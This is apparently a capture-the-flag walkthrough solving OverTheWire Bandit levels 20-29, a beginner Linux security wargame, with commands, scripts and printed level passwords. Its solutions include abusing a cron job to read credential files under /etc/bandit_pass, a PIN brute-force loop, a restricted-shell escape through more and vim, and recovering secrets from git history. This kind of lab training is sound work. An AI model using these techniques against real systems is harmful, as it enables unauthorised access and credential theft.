OverTheWire - Bandit Walkthrough - Levels 20-29
OverTheWire’s wargames are offered to help learn and practice security concepts in the form of fun-filled games.
The Bandit wargame is aimed at absolute beginners and will teach them the basics needed to be able to play other wargames. All the challenges are focused on the Linux systems and their commands. It aims to get the player familiar with the Linux terminal and introduce some basic security concepts.
It consists of a total of 33 Levels. At each level, you have to find the password for the next level to continue playing. Each Level is a user that you connect as, using SSH in the bandit.labs.overthewire.org
server.
In this post, we will present the solutions for Levels 20-29 of the Bandit wargame.
- See the solutions for the previous Levels 10-19
- See the solutions for the next Levels 30-33
NOTE: These walkthroughs are written and published to help other members of the community that are stuck at some Level. It is strongly advised to first try the challenges yourself until you can progress no more, and only then come back here to see the solution.
Level 20
Level Goal
There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (
bandit20
). If the password is correct, it will transmit the password for the next level (bandit21
).
Solution
Log in to bandit20
, using the password found from Level 19:
ssh -p 2220 bandit20@bandit.labs.overthewire.org
We first use Netcat to create a simple command-line messaging server instantly in order for the suconnect
setuid binary to connect to:
nc -l -p 42000
In another tab after we have logged in as bandit20
, we run the binary with the port we have selected:
./suconnect 42000
From the other tab (nc
server) we enter the current level’s password:
bandit20@bandit:~$ nc -l -p 42000
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
And we have the following output from suconnect
:
bandit20@bandit:~$ ./suconnect 42000
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
And the password is sent to our nc
server:
bandit20@bandit:~$ nc -l -p 42000
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
Level 21
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in
/etc/cron.d/
for the configuration and see what command is being executed.
Solution
Log in to bandit21
, using the password found from Level 20:
ssh -p 2220 bandit21@bandit.labs.overthewire.org
We first find all the cron jobs in /etc/cron.d
:
bandit21@bandit:~$ ls /etc/cron.d
cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
We are interested in the cronjob_bandit22
job, so we cat
it:
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
It runs the script /usr/bin/cronjob_bandit22.sh
on reboot, so we cat
the script in order to see what it does:
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
It’s just redirects the bandit22
password in a file in the /tmp
directory, so we just cat
its contents:
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
Level 22
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in
/etc/cron.d/
for the configuration and see what command is being executed.
Solution
Log in to bandit22
, using the password found from Level 21:
ssh -p 2220 bandit22@bandit.labs.overthewire.org
We first find all the cron jobs in /etc/cron.d
:
bandit22@bandit:~$ ls /etc/cron.d
cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
We are interested in the cronjob_bandit23
job, so we cat
it:
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
It runs the script /usr/bin/cronjob_bandit23.sh
on reboot, so we cat
the script in order to see what it does:
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
The script gets the current users name and created the phrase, e.g. I am user bandit23
.
It then passes this phrase through md5sum
and produces a hash.
In order to find the password for user bandit23
we do:
bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
That is the name of the file in the /tmp
directory that it saves the password, so we just cat
it:
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
Level 23
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in
/etc/cron.d/
for the configuration and see what command is being executed.
Solution
Log in to bandit23
, using the password found from Level 22:
ssh -p 2220 bandit23@bandit.labs.overthewire.org
We first find all the cron jobs in /etc/cron.d
:
bandit22@bandit:~$ ls /etc/cron.d
cronjob_bandit15_root cronjob_bandit17_root cronjob_bandit22 cronjob_bandit23 cronjob_bandit24 cronjob_bandit25_root
We are interested in the cronjob_bandit24
job, so we cat
it:
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
It runs the script /usr/bin/cronjob_bandit24.sh
on reboot, so we cat
the script in order to see what it does:
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
We can write a script of our own in order to get executed by bandit24
after 1 minute from /usr/bin/cronjob_bandit24.sh
.
We first create a directory to work on, in /tmp
, in order to work:
mkdir /tmp/mine23
cd /tmp/mine23
Then we create a script:
vim level23.sh
And add the following in order to copy the password from /etc/bandit_pass/bandit24
to our directory:
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/mine23/bandit24
We have to change the permissions in order to be executable be everyone:
chmod 777 level23.sh
And we need to create the file for the password and make it writable for everyone:
touch bandit24
chmod 666 bandit24
We then copy the script to /var/spool/bandit24
and wait for 1 minute to be run by cron:
cp level23.sh /var/spool/bandit24
After 1 minute we cat
the file:
bandit23@bandit:/tmp/mine23$ cat bandit24
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Level 24
Level Goal
A daemon is listening on port
30002
and will give you the password forbandit25
if given the password forbandit24
and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
Solution
Log in to bandit24
, using the password found from Level 23:
ssh -p 2220 bandit24@bandit.labs.overthewire.org
We can connect to the service with nc
:
nc localhost 30002
And try to enter the current level password and a random code:
bandit24@bandit:~$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0000
Wrong! Please enter the correct pincode. Try again.
We can brute-force our login by testing all 4-digit combinations with a simple script.
We first create a directory to work on, in /tmp
, in order to work:
mkdir /tmp/mine24
cd /tmp/mine24
Then we create a script:
vim level24.sh
And append the following:
#!/bin/bash
for i in {0000..9999};
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002
Make the script executable:
chmod +x level24.sh
And run the script and save the output to a file:
./level24.sh > out.txt
Now view only the line with the correct password:
bandit24@bandit:/tmp/mine24$ grep Wrong out.txt -v
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
Exiting.
Level 25
Level Goal
Logging in to
bandit26
frombandit25
should be fairly easy… The shell for userbandit26
is not/bin/bash
, but something else. Find out what it is, how it works and how to break out of it.
Solution
Log in to bandit25
, using the password found from Level 24:
ssh -p 2220 bandit25@bandit.labs.overthewire.org
We can first try to login using the bandit26.sshkey
private SSH key for the bandit26
user:
bandit25@bandit:~$ ssh -i bandit26.sshkey bandit26@localhost
# ...
Enjoy your stay!
_ _ _ _ ___ __
| | | (_) | |__ \ / /
| |__ __ _ _ __ __| |_| |_ ) / /_
| '_ \ / _` | '_ \ / _` | | __| / / '_ \
| |_) | (_| | | | | (_| | | |_ / /| (_) |
|_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to localhost closed.
We just get disconnected every time we try to login.
We can find the default shell for bandit26
user:
cat /etc/passwd | grep bandit26
And we see that the default shell is /usr/bin/showtext
:
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
We can cat
this script to see what it does:
bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
more ~/text.txt
exit 0
We can see that it uses more
to show the ~/text.txt
file that contains some ascii art. If we can use a terminal that can zoom very close or make the terminal window very small so that the ascii art will be buffered, we can use more
to execute commands with a !
.
!whoami
bandit25
------------------------
But that did not work in this case.
We can also use more
to open a file in vim by pressing v
, and then we can run in vim the command (by pressing :
):
r /etc/bandit_pass/bandit26
In order to open the password file for reading.
1 _ _ _ _ ___ __
2 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
3 | | | (_) | |__ \ / /
4 | |__ __ _ _ __ __| |_| |_ ) / /_
5 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
6 | |_) | (_| | | | | (_| | | |_ / /| (_) |
7 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Level 26
Level Goal
Good job getting a shell! Now hurry and grab the password for bandit27!
Solution
Log in to bandit26
, using the password found from Level 25:
ssh -p 2220 bandit26@bandit.labs.overthewire.org
Even though we have a password we cannot enter a shell on user bandit26
.
What we can do, is the same as in the previous level, we have to shrink the terminal window in order for more
to buffer, and we can open the file in vim by pressing v
, and then we can run in vim a command (by pressing :
) to set our shell to be /bin/bash
:
:set shell=/bin/bash
:shell
Now we have a shell for user bandit26
.
If we ls
, we see the following files:
bandit26@bandit:~$ ls
bandit27-do text.txt
If we run it, we see:
bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
So we just cat
to see the password we want:
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea
Level 27
Level Goal
There is a git repository at
ssh://bandit27-git@localhost/home/bandit27-git/repo
. The password for the userbandit27-git
is the same as for the userbandit27
. Clone the repository and find the password for the next level.
Solution
Log in to bandit27
, using the password found from Level 26:
ssh -p 2220 bandit27@bandit.labs.overthewire.org
We first create a directory to work on, in /tmp
, in order to work:
mkdir /tmp/mine27
cd /tmp/mine27
We then clone the git repository:
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
The password is the same as the current’s level.
There is only one README
file in the repo and we can cat
it:
bandit27@bandit:/tmp/mine27$ cat repo/README
The password to the next level is: 0ef186ac70e04ea33b4c1853d2526fa2
Level 28
Level Goal
There is a git repository at
ssh://bandit28-git@localhost/home/bandit28-git/repo
. The password for the userbandit28-git
is the same as for the userbandit28
. Clone the repository and find the password for the next level.
Solution
Log in to bandit28
, using the password found from Level 27:
ssh -p 2220 bandit28@bandit.labs.overthewire.org
We first create a directory to work on, in /tmp
, in order to work:
mkdir /tmp/mine28
cd /tmp/mine28
We then clone the git repository:
git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
The password is the same as the current’s level.
There is only one README file in the repo and we can cat
it:
bandit28@bandit:/tmp/mine28$ cd repo
bandit28@bandit:/tmp/mine28/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: xxxxxxxxxx
We can git log
in order to see all previous commits:
bandit28@bandit:/tmp/mine28/repo$ git log
commit edd935d60906b33f0619605abd1689808ccdd5ee
Author: Morla Porla <morla@overthewire.org>
Date: Thu May 7 20:14:49 2020 +0200
fix info leak
commit c086d11a00c0648d095d04c089786efef5e01264
Author: Morla Porla <morla@overthewire.org>
Date: Thu May 7 20:14:49 2020 +0200
add missing data
commit de2ebe2d5fd1598cd547f4d56247e053be3fdc38
Author: Ben Dover <noone@overthewire.org>
Date: Thu May 7 20:14:49 2020 +0200
initial commit of README.md
We can checkout to the add missing data
commit by using the commit hash:
git checkout c086d11a00c0648d095d04c089786efef5e01264
And then if we cat
the README.md
:
bandit28@bandit:/tmp/mine28/repo$ cat README.md
# Bandit Notes
Some notes for level29 of bandit.
## credentials
- username: bandit29
- password: bbc96594b4e001778eee9975372716b2
Level 29
Level Goal
There is a git repository at
ssh://bandit29-git@localhost/home/bandit29-git/repo
. The password for the userbandit29-git
is the same as for the userbandit29
. Clone the repository and find the password for the next level.
Solution
Log in to bandit29
, using the password found from Level 28:
ssh -p 2220 bandit29@bandit.labs.overthewire.org
We first create a directory to work on, in /tmp
, in order to work:
mkdir /tmp/mine29
cd /tmp/mine29
We then clone the git repository:
git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
The password is the same as the current’s level.
There is only one README
file in the repo and we can cat
it:
bandit29@bandit:/tmp/mine29$ cd repo
bandit29@bandit:/tmp/mine29/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.
## credentials
- username: bandit30
- password: <no passwords in production!>
If we try all the other commits we will show that no password is shown. But, if we list all branches (and remotes), we will see:
bandit29@bandit:/tmp/mine29/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev
So we can try to see the contents of README.md
from the other branches, and we can do that without checkout
, but by simply using dif
:
bandit29@bandit:/tmp/mine29/repo$ git diff remotes/origin/dev
diff --git a/README.md b/README.md
index 39b87a8..1af21d3 100644
--- a/README.md
+++ b/README.md
@@ -4,5 +4,5 @@ Some notes for bandit30 of bandit.
## credentials
- username: bandit30
-- password: 5b90576bedb2cc04c86a9e924ce42faf
+- password: <no passwords in production!>